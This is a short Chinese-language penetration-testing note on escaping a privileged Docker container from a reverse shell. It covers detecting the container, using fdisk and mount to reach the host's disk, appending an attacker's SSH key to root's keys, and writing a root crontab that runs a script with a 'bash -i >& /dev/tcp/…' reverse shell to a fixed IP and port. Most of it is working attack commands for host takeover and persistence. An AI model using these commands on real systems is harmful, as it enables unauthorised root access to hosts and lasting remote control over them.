Docker
Docker
Docker逃逸
反弹 shell 中如何判断自己是否在 docker 容器中
看当前反弹 shell 的主机名称, 一堆数字字母的则可能是 docker 容器 id
查看根目录下有没有
.dockerenv
文件, 如果有的话则可能在 docker 环境中ls -alh /.dockerenv
特权容器逃逸(反弹shell到特权模式的docker容器后进一步获取宿主机权限)
在判断当前反弹shell位置为docker后可以尝试查看下系统中的所有银盘分区表信息
fdisk -l
如果没有输出则不是特权模式启动的 Docker 容器
如果有输出则可以观察 Device 了
上图Type 为 Linux 的这条即为宿主机的系统分区
遇到过宿主是实体机固态装系统+一块机械时, 特权容器启动的 docker 能看到机械硬盘所在的分区, 系统分区显示的
/dev/nvme0n1p1
和/dev/nvme0n1p2
, 一个 PE 一个 LinuxVM 似乎(也许不是 LinuxVM, 不过一定不是LINUX, TODO: 记得确认下), 此时只能再用lvdisplay
找逻辑卷, 不过这条命令 Docker 容器中不一定有
看到系统分区后可以在容器中新建一个目录然后挂载该分区
mkdir /joker
mount /dev/sda5 /joker
写公钥
可以尝试写 root 账户的公钥
在本机新建一对密钥
ssh-keygen -t rsa -C "xxl-job"
-C(comment)
随便填, 有辨识度就行
在命令执行的交互中可以设置密钥存放的路径, 然后根据回显找到 .pub
公钥
然后直接用 echo >>
来续写即可
然后就可以 cat 看下了, 顺利的话已经写进去了
然后可以直接 ssh 连接到宿主机了
ssh -i id_rsa root@xxx
写定时任务
ubuntu 默认没有 MTA, 因此执行定时任务可能会报这样的错:
所以需要在定时任务中第一行写上 MAILTO=""
以禁用邮件输出
此外直接写 bash -i >& /dev/tcp/100.1.1.131/7777 0>&1
到定时任务中不一定行得通, 可以写个脚本, 然后定时任务调脚本执行, 比如:
test.sh
:
#!/bin/bash
bash -i >& /dev/tcp/100.1.1.131/7777 0>&1
/var/spool/cron/crontabs/root
:
MAILTO=""
* * * * * /bin/bash test.sh